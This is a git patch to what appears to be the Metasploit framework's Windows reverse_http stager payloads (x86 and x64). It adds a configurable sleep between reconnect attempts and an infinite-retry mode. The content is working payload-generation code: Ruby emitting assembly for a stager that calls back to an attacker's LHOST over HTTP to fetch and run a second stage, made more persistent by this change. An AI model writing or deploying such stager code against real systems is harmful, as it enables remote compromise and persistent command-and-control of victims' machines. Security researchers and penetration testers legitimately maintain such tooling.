From 09442f226adf2129efe8cc5cbc801c76f92d59b3 Mon Sep 17 00:00:00 2001 From: alpiste Date: Sat, 4 Mar 2017 18:12:09 -0300 Subject: [PATCH] Functionality was added to allow the payload to wait before trying to reconnect. Also the code was modified to allow the payload to infinite retry if 0 is set. --- lib/msf/core/payload/windows/reverse_http.rb | 48 +++++++++++++++---- .../core/payload/windows/x64/reverse_http.rb | 34 +++++++++---- 2 files changed, 65 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index be0bb09316..f3c56525f6 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), @@ -47,7 +48,8 @@ module Payload::Windows::ReverseHttp ssl: opts[:ssl] || false, host: ds['LHOST'], port: ds['LPORT'], - retry_count: ds['StagerRetryCount'] + retry_count: ds['StagerRetryCount'], + retry_wait: ds['StagerRetryWait'] } # Add extra options if we have enough space @@ -153,10 +155,12 @@ module Payload::Windows::ReverseHttp # @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_pass The optional proxy server password # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up + # @option opts [Integer] :retry_wait The seconds to wait before retry a new request # def asm_reverse_http(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max + retry_count = opts[:retry_count].to_i + retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) proxy_info = "" @@ -315,15 +319,21 @@ module Payload::Windows::ReverseHttp push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp xchg esi, eax ; save hHttpRequest in esi - + ^ + if retry_count > 0 + asm << %Q^ ; Store our retry counter in the edi register set_retry: push #{retry_count} pop edi + ^ + end + asm << %Q^ send_request: ^ + if opts[:ssl] asm << %Q^ ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); @@ -350,13 +360,33 @@ module Payload::Windows::ReverseHttp call ebp test eax,eax jnz allocate_memory + ^ - try_it_again: - dec edi - jnz send_request + if retry_wait + asm << %Q^ + set_wait: + push #{retry_wait} ; dwMilliseconds + push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call ebp ; Sleep( dwMilliseconds ); + ^ + end - ; if we didn't allocate before running out of retries, bail out - ^ + if retry_count > 0 + asm << %Q^ + try_it_again: + dec edi + jnz send_request + + ; if we didn't allocate before running out of retries, bail out + ^ + else + asm << %Q^ + try_it_again: + jmp send_request + + ; retry forever + ^ + end if opts[:exitfunk] asm << %Q^ diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index a35fbefc7a..1ac4680294 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64 super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), @@ -52,7 +53,8 @@ module Payload::Windows::ReverseHttp_x64 ssl: opts[:ssl] || false, host: ds['LHOST'], port: ds['LPORT'], - retry_count: ds['StagerRetryCount'] + retry_count: ds['StagerRetryCount'], + retry_wait: ds['StagerRetryWait'] } # add extended options if we do have enough space @@ -152,10 +154,12 @@ module Payload::Windows::ReverseHttp_x64 # @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_pass The optional proxy server password # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up + # @option opts [Integer] :retry_wait The seconds to wait before retry a new request # def asm_reverse_http(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max + retry_count = opts[:retry_count].to_i + retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) proxy_info = "" @@ -320,15 +324,19 @@ module Payload::Windows::ReverseHttp_x64 mov rsi, rax ^ - if retry_count > 1 + if retry_count > 0 asm << %Q^ push #{retry_count} pop rdi - - retryrequest: ^ end + + asm << %Q^ + retryrequest: + ^ + + if opts[:ssl] asm << %Q^ internetsetoption: @@ -360,7 +368,16 @@ module Payload::Windows::ReverseHttp_x64 jnz allocate_memory ^ - if retry_count > 1 + if retry_wait + asm << %Q^ + set_wait: + mov rcx, #{retry_wait} ; dwMilliseconds + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} + call rbp ; Sleep( dwMilliseconds ); + ^ + end + + if retry_count > 0 asm << %Q^ try_it_again: dec rdi @@ -369,7 +386,8 @@ module Payload::Windows::ReverseHttp_x64 ^ else asm << %Q^ - jmp failure + jmp retryrequest + ; retry forever ^ end